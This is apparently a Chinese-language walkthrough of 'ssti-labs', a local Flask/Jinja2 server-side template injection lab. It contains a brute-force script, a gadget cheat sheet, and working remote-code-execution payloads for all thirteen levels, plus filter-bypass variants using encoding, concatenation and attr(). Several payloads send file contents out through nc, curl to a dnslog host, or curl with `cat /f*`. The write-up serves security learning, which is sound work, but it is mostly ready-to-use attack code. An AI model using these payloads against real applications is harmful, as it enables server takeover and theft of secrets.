ssti-labs

ssti-labs

基本知识点

思路:

先写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://127.0.0.1:5000/level/1"

for i in range(500):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if "os" in response.text:
print(i,"《",response.text,"》")
except :
pass

得到os存在的类

133 《 Hello <class ‘os._wrap_close’> 》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类(除object),以元组形式,类型的实例通常没有属性。 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的所有子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以调用当前脚本中的函数,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)

config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
self.__dict__ 保存当前类实例或对象实例的属性变量键值对字典,
{%print("DMIND")%} 控制语句中也能输出

拼接字符:{% set ind=dict(ind=a,ex=a)|join%} 变量ind=index
获取字符:{{lipsum|string|list|attr('pop')(18)}} 相当于:lipsum|string|list|attr('pop')(18) 输出:_(下划线)
得到数字:{{lipsum|string|list|attr('index')('g')}} 相当于lipsum|string|list|attr('index')('g') 输出:10
运算出其他数字:{% set shiba=ten%2bten-two %} %2b是URL编码后的加号

得到数字:{{dict(a=a)|lower|list|count}}得到16
运算出其他数字:{{dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count}}得到1

得到任意字符:{{dict(dmind=a)|slice(1)|first|first}}得到dmind

获取__builtins__属性:{{lipsum.__globals__|attr('get')('__builtins__')}} 利用get()、pop()获取属性,相当于lipsum.__globals__.get('__builtins__')

lipsum.__globals__.__builtins__ 相当于 lipsum|attr('__globals__')|attr('get')('__builtins__')
lipsum.__globals__.__builtins__.chr(95) 相当于 lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('chr')(95)

得到chr函数:{%set chr=lipsum.__globals__.__builtins__.chr%}
利用chr()得到字符:{{chr(47)~chr(32)}} 47是/ 32是空格 ~是连接符

利用os执行命令:lipsum.__globals__.os.popen('dir').read() 相当于 lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('dir')|attr('read')()
类似的 url_for['__globals__']['os']['popen']('dir').read()

简单的读取文件:url_for["__globa"+"ls__"].__builtins__.open("flag.txt").read()

在能执行eval情况下:eval(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

第一题

没啥好说的,就是根据一堆网上的资料写的

1
2
3
{{"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("cat flag").read()}}

但是我这边没有os模块,也就不列举了

['popen']("command").read()主要利用的地方,也可以用system代替popen(本题不行),但是尽量不用system

在本地找到的是 os._wrap_close 这个类。

当然利用的还可以是eval()

__import__()

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://127.0.0.1:5000/level/1"

for i in range(500):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +'].__init__.__globals__'+"['popen']"+'}}'}
try:
response = requests.post(url,data=data)
if response.status_code == 200:
if "0x" in response.text:
print(i,"《",response.text,"》")
except :
pass

第二题

1
2
3
4
5
6
7
过滤了{{}}

那么直接可以用{%%}代替

那么要在{%command%}处执行if,或者for语句

{%%}{%endif或者endfor%}(这里主要是为了寻找到可利用的模块)
1
2
3
4
5
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}

或者

1
{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}

第三题

盲注

根据网上提供的wp有两种,一种是dnslog外带,一种是自己nc监听

那么这边比较不会的是nc监听那么就使用他了

首先在终端使用命令nc -lvnp 2020监听所有使用2020端口的地址

然后再使用命令注入

1
2
3
4
5
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}
{% if i.__name__=='_wrap_close' %}
{%print i.__init__.__globals__['popen']('cat flag|nc 0.0.0.0 2020').read()%}
{% endif %}
{% endfor %}

其中mro[-1]可以将类名形成一个元组直接进行for循环

当然也可以直接将上面的wp改改就行了

1
2
3
4
5
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag|nc 0.0.0.0 2020').read()%}
{% endif %}
{% endfor %}

那么用一下dnslog来解题

1
2
3
4
5
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('curl http://`cat flag`.t6n089.ceye.io').read()%}
{% endif %}
{% endfor %}

主要是有点慢,而且不显示{}

第四题

1
2
3
4
5
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}
{%endif%}
{%endfor%}

对于索引的[]可以用pop()__getitem__()代替[];而类的可以用__getattribute__绕过

1
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('cat flag|nc 0.0.0.0 2020').read()%}{%endif%}{%endfor%}

最好使用下面的格式(顺便监听一下),不然会出现文本变得很长的问题

第五题

1
{{().__class__.__base__.__subclasses__()[133]}}

先判断一下位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /level/5 HTTP/1.1

Host: 127.0.0.1:5000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 128

Origin: http://127.0.0.1:5000

Connection: close

Referer: http://127.0.0.1:5000/level/5

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Cookie:arg1=popen;arg2=cat flag


code={{().__class__.__base__.__subclasses__()[133].__init__.__globals__[request.cookies.arg1](request.cookies.arg2).read()}}

将用到‘’和“”的地方换一下发包

我试过post绕过,但是一直不成功显示no level,不过也是尽量不用post,会改变很多东西,删去post也会导致feibao

至于chr方法还不是很清楚,后面补

第六题

编码绕过

1.16进制编码(中间不用.分隔)

1
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat flag').read()}}

2.unicode编码

1
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

3.base64(任意编码绕过需要py2,我是用的py3)

1
{{""|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()[133]|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('popen')('cat flag')|attr('read')()}}

需要在py2的情况下,py3编码的问题默认type,所以可以先编码字符串再解码就行了,但是会出现无法绕过的情况,因此该方法仅使用与py2

第七题

[‘’]绕过

1
{{""['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('cat flag')['read']()}}

attr()绕过

1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}

第八题

拼接法

1
{{""['__cl'+'ass__']['__ba'+'se__']['__subc'+'lasses__']()['__getitem__'](133)['__in'+'it__']['__gl'+ 'obals__']['__getitem__']('po'+'pen')('cat flag').read()}}

第九题

过滤数字

1.可以使用第二题的wp

1
2
3
4
5
6
{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}

2.使用lipsum

1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

第十题

1
2
3
4
5
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

第十一题

接下来就是学会如何构造字符,数字等等

通用格式

1
2
3
4
{% set 变量=dirt(实际值=a)|join%}
{% set 变量=(已有变量,dirt(实际值=a)|join,已有变量)}
{% lipsum|string|list %} 查看部分可利用字符,结合pop可以取出字符,attr可以返回其属性
{% set num=dirt(aaaa(个数=num)=a)|join|count%} count可以换成length

其中pop()为删除函数

1
2
3
4
5
6
7
8
9
10
11
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

第十二题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(aaaaaaaaa=a)|join|count%}
{% set eighteen=nine+nine%}

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

第十三题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(aaaaaaaaa=a)|join|count%}
{% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

总结

整体环境为:py3,linux,flask=2.2.2

特别吐槽

千算万算没想到最后一直没回显是因为win10系统解析不了纯文本,在linux下就可以

至于如何发现的,那我就是再建立一个flag.txt,发现可以正常调用,那么命令是正常的,但是没办法正常回显

然后我移动到kali里面,然后做出了第一题

当然我还是没搞懂再flask1.1.1的情况下会造成前端bootstrap申请css出现500的情况(大概是flask的问题,最新版不出问题,略感难受,文档害死人了),甚至我怀疑是py自带的生产环境有问题,或者网络问题,前者我用第三方的WSGI进行排除,后者我一边用py2运行1.1.1,py3运行2.2.2,然后前后相差不到5s,基本确定是版本问题,原因不清楚

只能说,So,win10————